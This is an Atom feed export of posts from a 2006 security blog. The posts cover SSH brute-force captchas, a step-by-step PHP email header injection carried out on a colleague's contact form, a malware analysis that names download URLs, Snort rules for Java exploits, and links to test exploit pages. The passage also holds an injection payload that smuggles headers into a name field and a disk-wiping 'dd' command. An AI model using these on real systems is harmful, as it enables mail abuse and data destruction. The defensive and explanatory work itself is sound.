prompted for a username.  After entering your username you must solve a randomly generated captcha.  The captcha could be a simple math problem or ascii art containing a number or phrase.  Either way the idea is that the information is easy for a human to deduce but difficult for a machine.  Since brute force SSH attacks rely on a machine to continually guess passwords this effectively defeats the attack.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-114237284995713292?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/114237284995713292/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=114237284995713292' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/114237284995713292'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/114237284995713292'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/03/captchas-to-defeat-ssh-brute-force.html' title='Captchas to defeat SSH brute force attacks'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-114001571823329206</id><published>2006-02-15T09:06:00.000-05:00</published><updated>2006-02-16T12:07:30.913-05:00</updated><title type='text'>PHP Email Injection - Step by Step Part 1</title><content type='html'>I recently got to have a little fun with a colleague (who will remain nameless) who was using a PHP script for a contact form. About 2 weeks ago he received several submissions to his contact form that appeared to contain SMTP headers in the "Message" portion of the submission. The form was named "contact.php" and it was obvious that somebody thought that this form might make a good PHP email injection target. If you haven't already read &lt;a href="http://securephp.damonkohler.com/index.php/Email_Injection"&gt;this article on how PHP email injection works&lt;/a&gt;, read it now.&lt;br /&gt;&lt;br /&gt;Note: I wrote a custom Perl script to automate the injection process, if you would like a copy for legit testing purposes please email me at matt.richard@gmail.com.&lt;br /&gt;&lt;br /&gt;The contact form allows the submitter to enter their email address, name and a comment. The email and name input fields have HTML limits of 128 characters which for this article we will assume to be hard limits in the script. Note that I verified these limits in the source later.&lt;br /&gt;&lt;br /&gt;Here is the email that he forwarded (some headers snipped):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&gt; To: victim@victim.org&lt;br /&gt;&gt; Subject: Web Contact From said144@victim.org&lt;br /&gt;&gt; From: said144@victim.org &lt;&gt;&lt;br /&gt;&gt; Reply-To: said144@victim.org&lt;br /&gt;&gt; Date: Mon,  6 Feb 2006 06:02:02 -0500 (EST)&lt;br /&gt;&gt;&lt;br /&gt;&gt; Time:     Mon, 06 Feb 2006 06:02:01 -0500&lt;br /&gt;&gt; Name:     said144@victim.org&lt;br /&gt;&gt; Email:    said144@victim.org&lt;br /&gt;&gt; Status:   Domain OK.&lt;br /&gt;&gt; Message:  had&lt;br /&gt;&gt; Content-Type: text/plain; charset=\"us-ascii\"&lt;br /&gt;&gt; MIME-Version: 1.0&lt;br /&gt;&gt; Content-Transfer-Encoding: 7bit&lt;br /&gt;&gt; Subject: of urope&lt;br /&gt;&gt; bcc: charieses329@aol.com&lt;br /&gt;&gt;&lt;br /&gt;&gt; 379ec90f66d778aeb20b9a9d3f279d8&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;As you can see from these headers and the body, the injection attempt was not successful. The attacker only managed to get his HTML code in the "Message" section which did not modify the headers. Remember that based on how PHP email injection works we need to find a parameter that is passed in the "$headers" field of the mail() function. In this case I would guess that "Message" doesn't meet that criteria.&lt;br /&gt;&lt;br /&gt;So that leaves "email address" and "name". Looking at the headers it appears that "name" appears in the body of the message (won't help) and possibly in the From: header. If we're lucky the From: header is being generated by passing a string to the $header field of mail() which would allow us to inject headers. Both $email_address and $name should work barring some form of server side filtering.&lt;br /&gt;&lt;br /&gt;At this point we're really banking on the possibility that the form creates a nice looking From: field by using something like "From: $email_address &lt; $name &gt;" This would give us the opportunity to manipulate either the "$email_address" or "$name" variable. Let's get started executing our attack.&lt;br /&gt;&lt;br /&gt;Let's take on the $name field because it comes after the $email_address and we can arbitrarily submit any From: address we want. Using $name will give us the flexibility to add headers without recreating the From: header. We will also want to come up with a good way to disguise the subject and body of the message, more on that later.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;To: victim@victim.org&lt;br /&gt;Subject: Web Contact From $name&lt;br /&gt;From: $email_address &lt; $name &gt;&lt;br /&gt;Reply-To: $email_address&lt;br /&gt;&lt;br /&gt;Date:&lt;br /&gt;Time:&lt;br /&gt;Name: $name&lt;br /&gt;Email: $email_address&lt;br /&gt;Status:   Domain OK.&lt;br /&gt;Message: $message&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;Our injection has to take 3 factors into consideration:&lt;br /&gt;&lt;ol&gt;   &lt;li&gt;we want to close the &lt;&gt; so that our header is valid&lt;/li&gt;   &lt;li&gt;we need to inject newline - cc: some address - newline&lt;/li&gt;   &lt;li&gt;we need to neutralize the hanging "&gt;" that will show up at the end of our header&lt;br /&gt; &lt;/li&gt; &lt;/ol&gt; In an effort to keep things simple we'll start by using something like "f@from.org&gt;\ncc:dest@dest.org\nX-Test:". I'm injecting an extra "X-" header since this information will be ignored by MTA's and mail clients. The only function of this extra header is to prevent the "&gt;" from appearing as a separate line in the header and potentially raising red flags.&lt;br /&gt;&lt;br /&gt;This should yield a header like this:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;To: victim@victim.org&lt;br /&gt;Subject: Web Contact From f@from.org&gt;\ncc:dest@dest.org\nX-Test:&lt;br /&gt; &lt;/span&gt;&lt;span style="font-size:85%;"&gt;From: foo@bar.com &lt;&gt;&lt;br /&gt;cc: dest@dest.org&lt;br /&gt;X-Test:&lt;/span&gt;&lt;span style="font-size:85%;"&gt; &gt;&lt;br /&gt;Reply-To: foo@bar.com&lt;br /&gt; &lt;/span&gt;&lt;/blockquote&gt;A quick run of my custom Perl script and voila! An email arrives in my inbox with my injected headers and my arbitrary delivery address in the CC line.  Since my address was in the CC line and the victim's address was in the To: line we'll call this a success.&lt;br /&gt;&lt;br /&gt;In Part 2 we'll explore how to manipulate the subject and body so that we remove all of the ugly text already in the message and replace it with our own custom text.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-114001571823329206?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/114001571823329206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=114001571823329206' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/114001571823329206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/114001571823329206'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/02/php-email-injection-step-by-step-part.html' title='PHP Email Injection - Step by Step Part 1'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113959147619585212</id><published>2006-02-10T12:08:00.000-05:00</published><updated>2006-11-26T11:55:00.783-05:00</updated><title type='text'>Cisco Botnets?</title><content type='html'>I've never heard of a Cisco botnet but I suppose it's possible.  The details are awfully vague and it could mean just about anything.  If you're still in the stone age and using publicly exposed telnet services it might be a good time to change that.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;XYZ has been able to identify a botnet that is&lt;br /&gt;actively scanning on port 23/tcp and is targeting Cisco devices such as&lt;br /&gt;routers for exploit and access.  The activity has taken place in&lt;br /&gt;multiple short-term durations; targeting a variety of Internet address&lt;br /&gt;segments.  Multiple successful exploits have been identified; gaining&lt;br /&gt;"enable" and/or "console" passwords for the devices.  The exploit is not&lt;br /&gt;limited to weak passwords.  At this time, it is not clear exactly what&lt;br /&gt;exploit is being used to attack the routers nor for what function the&lt;br /&gt;routers might be used.  However, this capability could be used by&lt;br /&gt;malicious users to launch DDoS attacks, sniff private network traffic,&lt;br /&gt;change routing on networks, subvert Access Control Lists, and/or use the&lt;br /&gt;routers to create logical private networks for the malicious users.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113959147619585212?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113959147619585212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113959147619585212' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113959147619585212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113959147619585212'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/02/cisco-botnets.html' title='Cisco Botnets?'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113881434576172003</id><published>2006-02-06T12:13:00.000-05:00</published><updated>2006-02-06T14:05:52.536-05:00</updated><title type='text'>You Are the Weakest Link!</title><content type='html'>An &lt;a href="http://blogs.washingtonpost.com/securityfix/2006/01/research_buggy_.html"&gt;article&lt;/a&gt; by Brian Krebs from the Washington Post discusses the impact of research by &lt;a href="http://www.computerbytesman.com/"&gt;Richard M. Smith&lt;/a&gt; which details a large number of potential vulnerabilities in third party ActiveX controls. This research is scary and paints a grim picture on the state of desktop security.&lt;br /&gt;&lt;br /&gt;Also in the news is the latest &lt;a href="http://http://www.zdnetasia.com/news/security/0,39044215,39310016,00.htm"&gt;winamp flaw is being exploited&lt;/a&gt; to install malware.&lt;br /&gt;&lt;br /&gt;The bottom line here is that the new battleground for desktop security will not be the OS or the browser but it will be third party applications. The reason is fairly simple - bad guys go for the largest base of easy targets.&lt;br /&gt;&lt;br /&gt;It sounds overly simplistic but why would bad guys put monumental effort into developing the next exploit if the target has a reliable mechanism to update within 30 days. I'm not saying that all IE users are updating their browsers with every MS security update but the number is rising all the time.&lt;br /&gt;&lt;br /&gt;Think of the goldmine of third party applications that can be exploited on most browsers - java, flash, winamp, quicktime. Most of these applications rarely get patched and even the most corporations pay little attention to these.&lt;br /&gt;&lt;br /&gt;This is exactly the reason that spyware authors can use a &lt;a href="http://http://www.mullingsecurity.com/2006/01/old-java-bug-exploited-from-ukraine.html"&gt;18 month old java vulnerability&lt;/a&gt; and catch most Internet users off guard. After all the work we've done getting people to patch Windows and IE it looks like we're back to the drawing board....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113881434576172003?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113881434576172003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113881434576172003' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113881434576172003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113881434576172003'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/02/you-are-weakest-link.html' title='You Are the Weakest Link!'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113779069707189686</id><published>2006-01-26T07:57:00.000-05:00</published><updated>2006-01-26T12:44:49.453-05:00</updated><title type='text'>Update on ddabx.dll</title><content type='html'>I get a ton of hits to my blog from search engines for the string "ddabx.dll".  I feel really guilty since I've been withholding knowledge from everyone who hits my site because I only have one tiny blog entry that says "what's ddabx.dll?" with no answers.  Well now you can get some answers.  Sorry.&lt;br /&gt;&lt;br /&gt;After a little forensic review of ddabx.dll I determined that it's a variant of conhook.  The dll itself spawns a thread and attaches to winlogon.exe, explorer.exe and a seemingly random third executable.  The thread is extremely difficult to kill even using tools like &lt;a href="http://www.sysinternals.com/Utilities/ProcessExplorer.html"&gt;Process Explorer&lt;/a&gt;.  Most anti-virus applications are able to detect the binary located on disk (usually c:\$WINDIR\system32\ddabx.dll) but are unable to successfully remove it from the system.  F-Prot was detecting it as &lt;span class="caps"&gt;W32&lt;/span&gt;/Downloader.ISZ.  Most seem to fail at recognizing the binary once loaded into memory because of it's dynamic runtime alterations.&lt;br /&gt;&lt;br /&gt;What was really killing me while I was doing my research was that it didn't appear to do anything.    In many analysis it's fairly straightforward to setup a sandbox environment, run the malware and capture all of it's actions.   The problem with ddabx.dll was that it didn't do anything.  No outbound network connections, no new file handles, nothing.&lt;br /&gt;&lt;br /&gt;After jumping through hoops I was finally able to do some analysis on the binary while loaded in memory.  This turned up a whole host of new information.  I found that the dll itself remains resident in memory waiting for the right time to download an update from updates from the following urls (really the same server):&lt;br /&gt;&lt;blockquote&gt;http://ushuistov.net/cgi-bin/check/autoaff&lt;br /&gt;http://202.67.220.235/cgi-bin/check/autoaff&lt;/blockquote&gt;It is this download capability that gives the malware it's designation as a "downloader" by most AV vendors.  It really doesn't do much besides wait, check for updates every so often and wait some more.  The dll also monitors the "health" of it's other instances and will restart any of them if tampered with.&lt;br /&gt;&lt;br /&gt;&lt;insert&gt;Most of this information was not available through static analysis of the dll.  I did most of my research a little outside the box by looking at the memory image of a suspended vmware machine.  I'll give more details on that process another day.&lt;br /&gt;&lt;br /&gt;If you came to this blog entry looking for the simplest way to get rid of ddabx.dll - boot with a linux live cd and issue "dd if=/dev/zero of=/dev/hda" and reinstall Windows.  If you're patient I have some additional research on how most Spyware and AV agents stack up that I'll post.&lt;br /&gt;&lt;/insert&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113779069707189686?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113779069707189686/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113779069707189686' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113779069707189686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113779069707189686'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/01/update-on-ddabxdll.html' title='Update on ddabx.dll'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113804719304737960</id><published>2006-01-23T14:56:00.000-05:00</published><updated>2006-01-23T15:13:15.363-05:00</updated><title type='text'>Paper: Anatomy of a Phish III</title><content type='html'>&lt;a href="http://www.mnin.org"&gt;Michael Ligh&lt;/a&gt; just released the latest in the Anatomy of a Phish series title "&lt;a href="http://www.opensecnet.com/phish_3.pdf"&gt;Anatomy of a Phish III&lt;/a&gt;." &lt;br /&gt;&lt;br /&gt;As always we had a lot of fun researching and dissecting the tools and techniques used by the bad guys in their never ending quest for a debit card, CVV2 and PIN.  Like all great script kiddie stories it's not complete until the bad guy leaves some incriminating evidence via IRC (Idiots Really Chat).&lt;br /&gt;&lt;br /&gt;Don't forget to check out "&lt;a href="http://www.mnin.org/write/2005_phish_2.pdf"&gt;Anatomy of a Phish II&lt;/a&gt;" and "&lt;a href="http://www.mnin.org/write/2005_phish.pdf"&gt;Anatomy of a Phish I&lt;/a&gt;".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113804719304737960?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113804719304737960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113804719304737960' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113804719304737960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113804719304737960'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/01/paper-anatomy-of-phish-iii.html' title='Paper: Anatomy of a Phish III'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113804571961493182</id><published>2006-01-23T14:05:00.000-05:00</published><updated>2006-01-23T16:35:18.620-05:00</updated><title type='text'>Snort sigs for latest Java Malware</title><content type='html'>Here are some snort signatures to detect a couple of recent pieces of Java malware.  In particular the Sun Java vulnerability actively being exploited is the "&lt;a href="http://www.idefense.com/intelligence/vulnerabilities/display.php?id=158"&gt;Sun Java Plugin Arbitrary Package Access Vulnerability".&lt;/a&gt;&lt;a href="http://www.idefense.com/intelligence/vulnerabilities/display.php?id=158" target="_blank"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;The signatures detect 2 different variants of this exploit.  The most significant signature is the "Java runtime.exec()" which should never be seen in untrusted applets.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;alert tcp any $HTTP_PORTS -&gt; $HOME_NET any (msg:"Java runtime.exec() call"; flow:from_server,established; content:"|52 75 6e 74 69 6d 65 3b 01 00 04 65 78 65 63 01 00|"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET $HTTP_PORTS -&gt; $HOME_NET any (msg:"Java private function call sun.misc.unsafe"; flow:from_server,established; content:"sun/misc/Unsafe"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET $HTTP_PORTS -&gt; $HOME_NET any (msg:"Java field reflector call java.lang.reflect.field"; flow:from_server,established; content:"java/lang/reflect/Field"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET $HTTP_PORTS -&gt; $HOME_NET any (msg:"Javascript unsafe applet call"; flow:from_server,established; content: "sun.misc.Unsafe"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET $HTTP_PORTS -&gt; $HOME_NET any (msg:"Javascript Securitymanager class applet call"; flow:from_server,established; content: "java.lang.SecurityManager"; classtype:trojan-activity; reference:url,www.mullingsecurity.com; rev:1;)&lt;/span&gt; &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Running these signatures will trigger when either of my 2 test exploits (run at your own risk)  are executed on a vulnerable machine (JRE 1.4.2_05 or prior).  If executed on a patched JRE the javascript signatures will trigger.&lt;br /&gt;&lt;br /&gt;Variant #1 (http://38.112.88.68/ads/) - http://www.opensecnet.com/testsploit.htm&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;blockquote&gt;snort: [1:0:1] Java field reflector call java.lang.reflect.Method [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1103&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java SecurityManager manipulation [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1103&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java field reflector call java.lang.reflect.Method [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1107&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java SecurityManager manipulation [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1107&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java runtime.exec() call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1108&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;Variant #2 (a.k.a fullchain.net) - http://www.opensecnet.com/test2sploit.htm&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt; snort: [1:0:1] Javascript unsafe applet call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1112&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java field reflector call java.lang.reflect.field [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1114&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java runtime.exec() call [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1114&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java private function call sun.misc.unsafe [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1114&lt;br /&gt;&lt;br /&gt;snort: [1:0:1] Java field reflector call java.lang.reflect.field [Classification: A Network Trojan was detected] [Priority: 1]: {TCP} 64.62.148.141:80 -&gt; 172.16.30.130:1114&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113804571961493182?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113804571961493182/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113804571961493182' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113804571961493182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113804571961493182'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/01/snort-sigs-for-latest-java-malware.html' title='Snort sigs for latest Java Malware'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113717783037616348</id><published>2006-01-13T13:19:00.000-05:00</published><updated>2006-01-13T13:43:50.430-05:00</updated><title type='text'>More Information on Java Exploit</title><content type='html'>I've come across some additional information on the java exploit story.&lt;br /&gt;&lt;br /&gt;First, SANS Incident Storm Center and CERT have issued alerts:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.incidents.org/diary.php?storyid=1039"&gt;CERTs warn about old java bug being exploited&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.us-cert.gov/current/current_activity.html#javaapi"&gt;Malicious Website Exploiting Sun Java Reflection API Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Next I found &lt;a href="http://jouko.iki.fi/index-en.html"&gt;Jouko Pynnönen&lt;/a&gt; who found the original bug and &lt;a href="http://jouko.iki.fi/adv/javaplugin.html"&gt;his advisory.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also a &lt;a href="http://software.silicon.com/security/0,39024655,39126099,00.htm"&gt;news story on silicon.com&lt;/a&gt; from November 24, 2004 discussing the potential impact of the vulnerability.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113717783037616348?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113717783037616348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113717783037616348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113717783037616348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113717783037616348'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/01/more-information-on-java-exploit.html' title='More Information on Java Exploit'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-113716614950794658</id><published>2006-01-13T10:28:00.000-05:00</published><updated>2006-01-23T16:01:24.413-05:00</updated><title type='text'>Old Java Bug exploited from Ukraine</title><content type='html'>It's nothing new to see pages that use two or more browser vulnerabilities to infect innocent browsers. In fact &lt;a href="http://www.mnin.org/"&gt;Michael Ligh&lt;/a&gt; wrote about one of the first in &lt;a href="http://www.mnin.org/write/2005_trimode.html"&gt;Tri-mode browser exploits&lt;/a&gt; and followed up with &lt;a href="http://www.mnin.org/write/2005_redheaded_browsers.html"&gt;Red-Headed Browsers&lt;/a&gt;. &lt;a href="http://www.mullingsecurity.com/2005/12/new-java-exploit-site-in-ukraine.html"&gt;One of my recent blog entries&lt;/a&gt; talks about an exploit hosted in the Ukraine that uses java to download an and execute malware.&lt;br /&gt;&lt;br /&gt;I wanted to provide a little more detail for those looking for information on this particular malware. This site uses 4 unique exploits. The most interesting part is the Sun JRE vulnerability. This exploits a vulnerability in the Sun JRE published in June 2004.&lt;br /&gt;&lt;br /&gt;I have confirmed that this exploit works on all versions of JRE prior to 1.4.2_06 and 1.5.0_2. The best part about this exploit is it doesn't discriminate against browsers or operating systems. Think you can't get spyware because you run Linux, Mac OS X or Firefox? Guess again.&lt;br /&gt;&lt;br /&gt;Also keep in mind, this vulnerability is 18 months old and there are a lot of people still vulnerable. Everybody is worried about patching Windows and IE and they forget about Java, Quicktime, Flash and the other cross-browser/OS applications that are just as dangerous.&lt;br /&gt;&lt;br /&gt;I have some sample exploits for your own testing with links below. &lt;i&gt;Be forewarned that by visiting that URL you are downloading an arbitrary executable that I claim is harmless but could be anything.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.opensecnet.com/java_plugin_sploit.htm"&gt;Windows&lt;/a&gt; - downloads and executes a copy of calc.exe&lt;br /&gt;Linux - coming soon&lt;br /&gt;Mac OS X - coming soon&lt;br /&gt;Solaris - coming soon&lt;br /&gt;&lt;br /&gt;Here is more information on the specific exploits and malware distributed by fullchain.net:&lt;br /&gt;&lt;br /&gt;Exploit #1 - &lt;a href="http://www.idefense.com/intelligence/vulnerabilities/display.php?id=158"&gt;Sun Java Plugin Arbitrary Package Access Vulnerability&lt;/a&gt;&lt;a href="http://www.idefense.com/intelligence/vulnerabilities/display.php?id=158" target="_blank"&gt;&lt;br /&gt;&lt;/a&gt;Uses:&lt;p&gt;&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;index.php&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li&gt;sets up the java exploit with the required javascript and calls classes&lt;/li&gt;&lt;li&gt;has error handling to redirect you to the MS java exploit if this fails&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;li&gt;Anima.class&lt;/li&gt;&lt;br /&gt;&lt;ul type="circle"&gt;&lt;li&gt;main applet class for exploit&lt;/li&gt;&lt;br /&gt;&lt;li&gt;downloads class omfg&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;i&gt;Anima&lt;/i&gt; literally means spirit, soul, or breath of life.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;View the JAD disassembled version &lt;a href="http://www.opensecnet.com/Anima.jad"&gt;here&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;li&gt;omfg.class&lt;/li&gt;&lt;br /&gt;&lt;ul type="circle"&gt;&lt;br /&gt;&lt;li&gt;downloads 